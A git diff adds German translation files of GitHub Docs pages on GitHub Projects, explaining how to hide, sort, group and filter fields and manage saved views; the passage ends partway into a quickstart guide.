+Du kannst auch einzelne Felder in der Tabellenansicht ausblenden.
+
+1. Klicke neben dem Feld, das du ausblenden möchtest, auf {% octicon "kebab-horizontal" aria-label="the kebab icon" %}.
+   ![Screenshot des Symbols „Feldmenü“](/assets/images/help/projects-v2/modify-field-menu.png)
+1. Klicke auf {% octicon "eye-closed" aria-label="the eye closed icon" %} **Feld ausblenden**.
+   ![Screenshot der Menüoption „Feld ausblenden“](/assets/images/help/projects-v2/hide-field-via-menu.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne, „einblenden“, „ausblenden“ oder den Namen des Felds einzugeben.
+
+## Neuanordnen von Feldern
+
+Im Tabellenlayout kannst du die Anordnung der Felder ändern.
+
+1. Klicke auf den Feldheader.
+   ![Screenshot des Feldheaders](/assets/images/help/projects-v2/select-field-header.png)
+2. Halte die Maustaste gedrückt, und ziehe das Feld an die gewünschte Position.
+
+## Neuanordnen von Zeilen
+
+Im Tabellenlayout kannst du die Anordnung der Zeilen ändern.
+
+1. Klicke auf die Nummer am Anfang der Zeile.
+   ![Screenshot der Zeilennummer](/assets/images/help/projects-v2/select-row-number.png)
+2. Halte die Maustaste gedrückt, und ziehe die Zeile an die gewünschte Position.
+
+## Sortieren nach Feldwerten
+
+Im Tabellenlayout kannst du Elemente nach einem Feldwert sortieren.
+
+{% note %}
+
+**Hinweis:** Bei einer sortierten Tabelle können die Zeilen nicht manuell neu angeordnet werden.
+
+{% endnote %}
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf **Sortieren**.
+   ![Screenshot des Menüelements „Sortieren“](/assets/images/help/projects-v2/sort-menu-item.png)
+1. Wähle das Feld aus, nach dem sortiert werden soll.
+   ![Screenshot des Menüs „Sortieren“](/assets/images/help/projects-v2/sort-menu.png)
+2. Wahlweise kannst du die Richtung der Sortierung ändern, indem du auf {% octicon "sort-desc" aria-label="the sort icon" %} klickst.
+   ![Screenshot der Option „Sortierreihenfolge“](/assets/images/help/projects-v2/sort-order.png)
+3. Wahlweise kannst du eine Sortierung entfernen, indem du am Ende der Liste auf {% octicon "x" aria-label="the x icon" %} **Keine Sortierung** klickst.
+   ![Screenshot von „Keine Sortierung“](/assets/images/help/projects-v2/no-sorting.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Sortieren nach“.
+
+## Gruppieren nach Feldwerten im Tabellenlayout
+
+Im Tabellenlayout kannst du Elemente nach einem benutzerdefinierten Feldwert gruppieren. Wenn Elemente gruppiert sind und du ein Element in eine neue Gruppe ziehst, wird der Wert dieser Gruppe angewendet. Wenn du Elemente z. B. nach „Status“ gruppierst und ein Element mit dem Status `In progress` in die Gruppe `Done` ziehst, wird der Status des Elements in `Done` geändert. Wenn du einer Gruppe ein neues Element hinzufügst, wird das neue Element mit dem Wert der Gruppe gefüllt.
+
+{% note %}
+
+**Hinweis:** Elemente können nicht nach Titel, Bezeichnungen, Prüfer*innen oder verknüpften Pull Requests gruppiert werden.
+
+{% endnote %}
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "rows" aria-label="the rows icon" %} **Gruppieren**.
+   ![Screenshot des Menüelements „Gruppieren“](/assets/images/help/projects-v2/group-menu-item.png)
+1. Wähle das Feld aus, nach dem die Gruppierung erfolgen soll.
+   ![Screenshot des Menüs „Gruppieren“](/assets/images/help/projects-v2/group-menu.png)
+2. Wahlweise kannst du eine Gruppierung deaktivieren, indem du am Ende der Liste auf {% octicon "x" aria-label="the x icon" %} **Keine Gruppierung** klickst.
+   ![Screenshot von „Keine Gruppierung“](/assets/images/help/projects-v2/no-grouping.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Gruppieren nach“.
+
+{% ifversion projects-v2-numeric-summary %}
+
+## Anzeigen der Summe eines Zahlenfelds
+
+Du kannst eine Ansicht so konfigurieren, dass sie die Summe eines oder mehrerer Zahlenfelder anzeigt, einschließlich einer Zählung der Elemente in der Gruppe oder Spalte. Wenn du z. B. über ein Zahlenfeld verfügst, in dem du die Anzahl der Stunden angibst, die für die Erledigung der einzelnen Aufgaben benötigt werden, kannst du die Summe dieser Stunden für jede Gruppe oder Spalte anzeigen.
+
+Im Boardlayout werden Feldsummen oben in jeder Spalte angezeigt. Im Tabellenlayout werden beim Aktivieren der Gruppierung nach einem Feld die Feldsummen in die Überschrift jeder Gruppe eingeschlossen.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "number" aria-label="the number icon" %} **Feldsumme**.
+   
+   ![Screenshot des Menüelements „Feldsumme“](/assets/images/help/projects-v2/field-sum-menu.png)
+   
+1. Wähle die Felder aus, die du einschließen möchten.
+   
+   ![Screenshot des Menüs „Feldsumme“](/assets/images/help/projects-v2/field-sum-select-field.png)
+   
+
+{% endif %}
+
+## Festlegen des Spaltenfelds im Boardlayout
+
+Im Boardlayout wählst du ein einzelnes Auswahl- oder Iterationsfeld für deine Spalten aus. Wenn du ein Element in eine neue Spalte ziehst, wird der Wert dieser Spalte auf das gezogene Element angewendet. Beispiel: Wenn du das Feld „Status“ für deine Boardspalten verwendest und ein Element mit dem Status `In progress` in die Spalte `Done` ziehen, ändert sich der Status des Elements in `Done`.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "columns" aria-label="the columns icon" %} **Spaltenfeld**.
+   ![Screenshot des Elements „Spaltenfeld“](/assets/images/help/projects-v2/column-field-menu-item.png)
+1. Wähle das Feld aus, das du verwenden möchtest.
+   ![Screenshot des Menüs „Spaltenfeld“](/assets/images/help/projects-v2/column-field-menu.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Spaltenfeld nach“.
+
+{% ifversion projects-v2-column-visibility %}
+
+## Anzeigen und Ausblenden von Spalten im Boardlayout
+
+Im Boardlayout kannst du auswählen, welche Spalten angezeigt werden sollen. Die verfügbaren Spalten setzen sich aus dem Inhalt des von dir ausgewählten Spaltenfelds zusammen.
+
+1. Scrolle im Boardlayout nach rechts zu deinen Spalten, und klicke auf {% octicon "plus" aria-label="the plus icon" %}.
+   
+   ![Screenshot der Schaltfläche mit dem Pluszeichen](/assets/images/help/projects-v2/board-add-column.png)
+   
+1. Wähle die Spalten aus, die du anzeigen möchtest.
+   
+   ![Screenshot der Liste mit Spalten](/assets/images/help/projects-v2/board-select-columns.png)
+   
+{% endif %}
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md
new file mode 100644
index 0000000000..38e4143e31
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md
@@ -0,0 +1,36 @@
+---
+title: 'Filtern von {% data variables.projects.projects_v2 %}n'
+intro: 'Verwende Filter, um auszuwählen, welche Elemente in den Ansichten deines Projekts angezeigt werden sollen.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/filtering-projects
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: b1c04738a3c03d892b360c3b23def694d202ee0c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108434'
+---
+Du kannst Ansichten mithilfe von Filtern für Elementmetadaten, z. B. zugewiesene Personen und die Bezeichnungen, die auf Issues angewendet werden, und über die Felder in deinem Projekt anpassen. Du kannst Filter kombinieren und als Ansichten speichern. Weitere Informationen findest du unter [Anpassen deiner Projektansichten](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view).
+
+Um ein Projekt zu filtern, klicke auf {% octicon "filter" aria-label="The Filter icon" %}, und gib die gewünschten Felder und Werte für den Filter ein. Während der Eingabe werden mögliche Werte angezeigt. Du kannst die Projektbefehlspalette auch öffnen, indem du {% data variables.projects.command-palette-shortcut %} drückst und „Filtern nach“ eingibst, um unter den verfügbaren Filtern eine Auswahl zu treffen.
+
+Die Verwendung mehrerer Filter fungiert als logischer UND-Filter. Beispielsweise gibt `label:bug status:"In progress"` Elemente mit der Bezeichnung `bug` mit dem Status „In Bearbeitung“ zurück. {% data variables.product.prodname_projects_v2 %} unterstützt derzeit keine logischen ODER-Filter in mehreren Feldern.
+
+Die gleichen Filter sind für Diagramme verfügbar, die du mithilfe von Erkenntnissen für {% data variables.product.prodname_projects_v2 %} erstellst, und ermöglichen das Filtern der zum Erstellen deiner Diagramme verwendeten Daten. Weitere Informationen findest du unter [Verwenden von Erkenntnissen mit Projekten](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects).
+
+## Filtern von Elementen
+
+Klicke oben in der Tabelle auf {% octicon "filter" aria-label="the filter icon" %}, um die Leiste zum Filtern nach Schlüsselwort oder Feld einzublenden. Beginne mit der Eingabe des Feldnamens und des Werts, nach dem du filtern möchtest. Während der Eingabe werden mögliche Werte angezeigt.
+
+{% data reusables.projects.projects-filters %}
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Filtern nach“.
+
+Im Boardlayout kannst du auf Elementdaten klicken, um nach Elementen mit diesem Wert zu filtern. Klicke beispielsweise auf eine zugewiesene Person, um nur Elemente für diese Person anzuzeigen. Soll der Filter entfernt werden, klicke noch mal auf die Elementdaten.
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md
new file mode 100644
index 0000000000..cc5de2512b
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md
@@ -0,0 +1,22 @@
+---
+title: 'Anpassen von Ansichten in deinem {% data variables.projects.project_v2 %}'
+shortTitle: Customizing views
+intro: 'Du kannst mehrere Ansichten erstellen, um dein Projekt aus unterschiedlichen Winkeln zu betrachten und zu entscheiden, welche Elemente angezeigt werden sollen und wie sie präsentiert werden sollen.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /customizing-a-view
+  - /filtering-projects
+  - /managing-your-views
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 10c4aaf54f90773acb1d7a9ed2a8dc186278010e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108435'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md
new file mode 100644
index 0000000000..d860b8af7c
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md
@@ -0,0 +1,77 @@
+---
+title: Verwalten deiner Ansichten
+intro: 'Erfahre, wie du deine Projektansichten erstellen, speichern und verwalten kannst.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+ms.openlocfilehash: 9b3d7f4b12210841a0c55f3b0b7356da9b225416
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109561'
+---
+## Erstellen einer Projektansicht
+
+In Projektansichten kannst du im Handumdrehen bestimmte Aspekte deines Projekts anzeigen. Die einzelnen Ansichten werden auf separaten Registerkarten in deinem Projekt angezeigt. 
+
+Du kannst z. B. über folgende Ansichten verfügen:
+- Eine Ansicht, in der alle noch nicht gestarteten Elemente aufgeführt sind (Filterung nach „Status“).
+- Eine Ansicht, in der die Arbeitsauslastung für jedes Team angezeigt wird (Gruppierung nach einem benutzerdefinierten Feld „Team“).
+- Eine Ansicht, in der die Elemente mit dem frühesten Zielversanddatum angezeigt werden (Sortierung nach einem Datumsfeld).
+
+So füge eine neue Ansicht hinzu:
+
+{% data reusables.projects.new-view %}
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Neue Ansicht“.
+
+Die neue Ansicht wird automatisch gespeichert.
+
+## Duplizieren einer Ansicht
+
+Du kannst eine vorhandene Ansicht duplizieren und als Basis verwenden, um weitere Änderungen vorzunehmen.
+
+1. Wechsle zu der Ansicht, die du duplizieren möchtest.
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "versions" aria-label="the versions icon" %} **Ansicht duplizieren**.
+   ![Screenshot des Menüelements zum Duplizieren](/assets/images/help/projects-v2/duplicate-view.png)
+
+## Speichern von Änderungen an einer Ansicht
+
+Wenn du Änderungen an einer Ansicht vornimmst (Daten in einer Ansicht z. B. sortieren, neu anordnen, filtern oder gruppieren), erscheint neben dem Ansichtsnamen ein Punkt, der auf Änderungen hinweist, die noch nicht gespeichert wurden. 
+
+![Indikator für nicht gespeicherte Änderungen](/assets/images/help/projects/unsaved-changes.png)
+
+Wenn du die Änderungen nicht speichern möchtest, kannst du diesen Indikator ignorieren. Deine Änderungen sind für andere Benutzer*innen nicht sichtbar.
+
+{% data reusables.projects.save-view %}
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Ansicht speichern“.
+
+## Neuanordnen von gespeicherten Ansichten
+
+Wenn du die Anordnung der Registerkarten mit deinen gespeicherten Ansichten ändern möchtest, klicke auf eine Registerkarte, und ziehe sie an eine neue Position. Die neue Anordnung der Registerkarten wird automatisch gespeichert.
+
+## Umbenennen einer gespeicherten Ansicht
+
+Du kannst deine gespeicherten Ansichten umbenennen. Die Namensänderung wird automatisch gespeichert.
+
+1. Wechsle zu der Ansicht, die du umbenennen möchtest.
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "pencil" aria-label="the pencil icon" %} **Ansicht umbenennen**.
+   ![Screenshot des Menüelements zum Umbenennen](/assets/images/help/projects-v2/rename-view.png)
+1. Gib den neuen Namen für deine Ansicht ein.
+1. Zum Speichern deiner Änderungen drücke die <kbd>EINGABETASTE</kbd>.
+
+## Löschen einer gespeicherten Ansicht
+
+1. Wechsle zu der Ansicht, die du löschen möchtest.
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "trash" aria-label="the trasj icon" %} **Ansicht löschen**.
+   ![Screenshot des Menüelements zum Löschen](/assets/images/help/projects-v2/delete-view.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Ansicht löschen“.
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/index.md
new file mode 100644
index 0000000000..0b0fb93664
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/index.md
@@ -0,0 +1,29 @@
+---
+title: 'Planen und Nachverfolgen mit {% data variables.product.prodname_projects_v2 %}'
+shortTitle: '{% data variables.product.prodname_projects_v2 %}'
+intro: 'Erstelle angepasste Projekte, um deine Arbeit in {% data variables.product.company_short %} nachzuverfolgen.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /learning-about-projects
+  - /creating-projects
+  - /managing-items-in-your-project
+  - /understanding-fields
+  - /customizing-views-in-your-project
+  - /automating-your-project
+  - /viewing-insights-from-your-project
+  - /managing-your-project
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience
+ms.openlocfilehash: 89e7ed2a98f1b29f26d268622b639a893ab0c552
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159237'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md
new file mode 100644
index 0000000000..2b8dd52bd8
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md
@@ -0,0 +1,61 @@
+---
+title: 'About {% data variables.product.prodname_projects_v2 %}'
+intro: '{% data variables.product.prodname_projects_v2 %} is an adaptable, flexible tool for planning and tracking work on {% data variables.product.company_short %}.'
+allowTitleToDifferFromFilename: true
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/about-projects
+type: overview
+topics:
+  - Projects
+---
+
+## About {% data variables.product.prodname_projects_v2 %}
+
+A project is an adaptable spreadsheet that integrates with your issues and pull requests on {% data variables.product.company_short %} to help you plan and track your work effectively. You can create and customize multiple views by filtering, sorting, grouping your issues and pull requests, adding custom fields to track metadata specific to your team, and visualize work with configurable charts. Rather than enforcing a specific methodology, a project provides flexible features you can customize to your team’s needs and processes.
+
+### Staying up-to-date
+
+Your projects are built from the issues and pull requests you add, creating direct references between your project and your work. Information is synced automatically to your project as you make changes, updating your views and charts. This integration works both ways, so that when you change information about a pull request or issue in your project, the pull request or issue reflects that information. For example, change an assignee in your project and that change is shown in your issue. You can take this integration even further, group your project by assignee, and make changes to issue assignment by dragging issues into the different groups.
+
+### Adding metadata to your items
+
+You can use custom fields to add metadata to your issues, pull requests, and draft issues and build a richer view of item attributes. You’re not limited to the built-in metadata (assignee, milestone, labels, etc.) that currently exists for issues and pull requests. For example, you can add the following metadata as custom fields:
+
+- A date field to track target ship dates.
+- A number field to track the complexity of a task.
+- A single select field to track whether a task is Low, Medium, or High priority.
+- A text field to add a quick note.
+- An iteration field to plan work week-by-week, including support for breaks.
+
+{% ifversion projects-v2-tasklists %}
+
+### Exploring the relationships between issues
+
+{% data reusables.projects.tasklists-release-stage %}
+
+You can use Tasklists to build hierarchies of issues, dividing your issues into smaller subtasks, and creating new relationships between your issues. For more information, see "[About Tasklists](/issues/tracking-your-work-with-issues/about-tasklists)."
+
+These relationships are displayed on the issue, as well as the Tracked-by and Tracks fields in your projects. You can filter by issues which are tracked by another issue, and you can also group your table views by the Tracked-by field to show all parent issues with a list of their subtasks.
+
+{% endif %}
+
+### Viewing your project from different perspectives
+
+Quickly answer your most pressing questions by tailoring your project view to give you the information you need. You can save these views, allowing you to quickly return to them as needed and make them available to your team. Views not only let you scope down the items listed but also offer two different layout options.
+
+You can view your project as a high density table layout:
+
+![Project table](/assets/images/help/issues/projects_table.png)
+
+Or as a board:
+
+![Project board](/assets/images/help/issues/projects_board.png)
+
+To help you focus on specific aspects of your project, you can group, sort, or filter items:
+
+![Project view](/assets/images/help/issues/project_view.png)
+
+For more information, see "[Customizing a view](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)."
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md
new file mode 100644
index 0000000000..70b1298984
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md
@@ -0,0 +1,88 @@
+---
+title: 'Bewährte Methoden für {% data variables.product.prodname_projects_v2 %}'
+intro: Hier erhältst du Tipps zum Verwalten deiner Projekte.
+allowTitleToDifferFromFilename: true
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects
+type: overview
+topics:
+  - Projects
+  - Issues
+  - Project management
+ms.openlocfilehash: 1473e08a8a6d3bf4df480b4b5ce6930753a04491
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106765'
+---
+Du kannst {% data variables.product.prodname_projects_v2 %} verwenden, um deine Arbeit auf {% data variables.product.company_short %} zu verwalten, wo sich auch deine Issues und Pull Requests befinden. Weiter unten findest du Tipps zur effizienten und effektiven Verwaltung deiner Projekte. Weitere Informationen zu {% data variables.product.prodname_projects_v2 %} findest du unter [Informationen zu {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects).
+
+## Aufteilen großer Issues in kleinere Issues
+
+Wenn du ein großes Issue in kleinere Issues aufteilst, wird die Arbeit an diesen übersichtlicher. Außerdem können Teammitglieder dann parallel daran arbeiten. Dadurch werden Pull Requests ebenfalls kleiner, wodurch sie leichter zu überprüfen sind.
+
+Verwende Aufgabenlisten, Meilensteine oder Bezeichnungen, um nachzuverfolgen, wie sich kleinere Issues zum übergeordneten Ziel beitragen. Weitere Informationen findest du unter [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists), [Informationen zu Meilensteinen](/issues/using-labels-and-milestones-to-track-work/about-milestones) und [Verwalten von Bezeichnungen](/issues/using-labels-and-milestones-to-track-work/managing-labels).
+
+## Kommunikation
+
+Issues und Pull Requests enthalten integrierte Features, mithilfe derer du problemlos mit deinen Projektmitarbeiter*innen kommunizieren kannst. Verwende @mentions, um eine Person oder ein gesamtes Team auf einen Kommentar aufmerksam zu machen. Weise Projektmitarbeiter*innen Issues zu, um die Zuständigkeiten zu kommunizieren. Verweise auf verwandte Issues oder Pull Requests, um zu zeigen, wie sie miteinander zusammenhängen.
+
+## Verwenden der Beschreibung und der Infodatei
+
+Verwende die Beschreibung deines Projekts und die zugehörige Infodatei, um Informationen zum Projekt freizugeben.
+
+Beispiel:
+
+- Erläutere den Zweck des Projekts.
+- Beschreibe die Projektansichten und ihre Verwendung.
+- Füge relevante Links und Personen ein, die für weitere Informationen kontaktiert werden können.
+
+Infodateien von Projekten unterstützen die Markdown-Sprache, mit der du Bilder und erweiterte Formatierungen wie Links, Listen und Kopfzeilen verwenden kannst. 
+
+Weitere Informationen findest du unter [Erstellen eines {% data variables.projects.project_v2 %}s](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project).
+
+## Verwenden von Ansichten
+
+Verwende Projektansichten, um dein Projekt aus verschiedenen Winkeln zu betrachten.
+
+Beispiel:
+
+- Filtere nach Status, um alle nicht gestarteten Elemente anzuzeigen.
+- Gruppiere nach einem benutzerdefinierten Prioritätsfeld, um das Volume von Elementen mit hoher Priorität zu überwachen.
+- Sortiere nach einem benutzerdefinierten Datumsfeld, um die Elemente mit dem frühesten Zielversanddatum anzuzeigen.
+
+Weitere Informationen findest du unter [Anpassen einer Ansicht](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view).
+
+## Einzelne Single Source of Truth
+
+Um zu verhindern, dass Informationen nicht synchronisiert werden, solltest du eine Single Source of Truth verwenden. Überwache das Zielversanddatum beispielsweise an einer einzigen Stelle, anstatt über mehrere Felder verteilt. Wenn Sich das Zielversanddatum ändert, musst du nur das Datum an einer Stelle aktualisieren.
+
+{% data variables.product.prodname_projects_v2 %} bleibt automatisch mit {% data variables.product.company_short %}-Daten wie zugewiesenen Personen, Meilensteinen oder Bezeichnungen auf dem neuesten Stand. Wenn sich eines dieser Felder in einem Issue oder einem Pull Request ändert, wird die Änderung automatisch in deinem Projekt angezeigt.
+
+## Verwenden der Automatisierung
+
+Du kannst Aufgaben automatisieren, damit du weniger Zeit für Routinearbeiten und mehr Zeit für das eigentliche Projekt aufwenden kannst. Je weniger du manuell erledigen musst, desto eher bleibt dein Projekt auf dem neuesten Stand.
+
+{% data variables.product.prodname_projects_v2 %} bietet integrierte Workflows. Wenn beispielsweise ein Issue geschlossen wird, kannst du den Status automatisch auf „Fertig“ festlegen. {% ifversion projects-v2-auto-archive %}Du kannst integrierte Workflows auch so konfigurieren, dass Elemente automatisch archiviert werden, die bestimmten Kriterien entsprechen.{% endif %}
+
+Darüber hinaus kannst du mit {% data variables.product.prodname_actions %} und der GraphQL-API sich wiederholende Projektverwaltungsaufgaben automatisieren. Wenn du beispielsweise die Pull Requests nachverfolgen möchtest, die überprüft werden müssen, kannst du einen Workflow erstellen, der einen Pull Request zu einem Projekt hinzufügt und den Status auf „Überprüfung erforderlich“ setzt. Dieser Prozess kann automatisch ausgelöst werden, wenn ein Pull Request als „Bereit zur Überprüfung“ gekennzeichnet wird.
+
+- Weitere Informationen zu den integrierten Workflows findest du unter [Verwenden der integrierten Automatisierungen](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations).{% ifversion projects-v2-auto-archive %}
+- Weitere Informationen zum automatischen Archivieren von Elementen findest du unter [Automatisches Archivieren von Elementen](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically).{% endif %}
+- Einen Beispielworkflow findest du unter [Automatisieren von {% data variables.product.prodname_projects_v2 %} mithilfe von Aktionen](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions).
+- Weitere Informationen zu der API findest du unter [Verwenden der API zum Verwalten von {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects).
+- Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter [{% data variables.product.prodname_actions %}](/actions).
+
+## Verwenden verschiedener Feldtypen
+
+Nutze die verschiedenen Feldtypen, um deinen Anforderungen gerecht zu werden.
+
+Verwende ein Iterationsfeld, um Arbeit zu planen oder eine Zeitachse zu erstellen. Du kannst nach Iteration gruppieren, um zu überprüfen, ob Elemente zwischen Iterationen ausgeglichen sind, oder du kannst filtern, um sich auf eine einzelne Iteration zu konzentrieren. Mit Iterationsfeldern kannst du auch die Arbeit anzeigen, die du in vergangenen Iterationen geleistet hast, was bei der Geschwindigkeitsplanung und der Reflexion über die Leistungen deines Teams hilfreich sein kann. Iterationsfelder unterstützen auch Unterbrechungen, die anzeigen, wann du und dein Team ihre Iterationen unterbrechen. Weitere Informationen findest du unter [Informationen zu Iterationsfeldern](/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields).
+
+Verwende ein einzelnes Auswahlfeld, um Informationen zu einer Aufgabe basierend auf einer voreingestellten Liste von Werten nachzuverfolgen. Verfolge beispielsweise die Priorität oder Projektphase nach. Da die Werte aus einer voreingestellten Liste ausgewählt werden, kannst du sie einfach gruppieren oder filtern, um sich auf Elemente mit einem bestimmten Wert zu konzentrieren.
+
+Weitere Informationen zu den verschiedenen Feldtypen findest du unter [Grundlegendes zu Feldtypen](/issues/planning-and-tracking-with-projects/understanding-field-types).
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md
new file mode 100644
index 0000000000..3a8895c487
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md
@@ -0,0 +1,21 @@
+---
+title: 'Informationen zu {% data variables.product.prodname_projects_v2 %}'
+intro: 'Erfahre mehr über {% data variables.product.prodname_projects_v2 %} und wie du dieses leistungsstarke Tool am besten nutzen kannst.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /about-projects
+  - /quickstart-for-projects
+  - /best-practices-for-projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 3629a25866eb08c704ee857ef78140e356202337
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108431'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md
new file mode 100644
index 0000000000..fff627bd50
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md
@@ -0,0 +1,172 @@
+---
+title: 'Schnellstartanleitung für {% data variables.product.prodname_projects_v2 %}'
+intro: 'In diesem interaktiven Leitfaden kannst du durch Erstellung eines Projekts die Geschwindigkeit, Flexibilität und Anpassungsfähigkeit von {% data variables.product.prodname_projects_v2 %} erleben.'
+allowTitleToDifferFromFilename: true
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/quickstart
+type: quick_start
+topics:
+  - Projects
+ms.openlocfilehash: 39798565419acaa831a996a0c86cc62f367f4bb7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109683'
+---
+## Einführung
+
+In diesem Leitfaden wird gezeigt, wie du mithilfe von {% data variables.product.prodname_projects_v2 %} Arbeit planst und nachverfolgst. In diesem Leitfaden erstellst du ein neues Projekt und fügst ein benutzerdefiniertes Feld hinzu, um Prioritäten für deine Aufgaben nachzuverfolgen. Außerdem erfährst du, wie du gespeicherte Ansichten erstellst, um Prioritäten und Fortschritte an deine Mitarbeiter zu kommunizieren.
+
+## Voraussetzungen
+
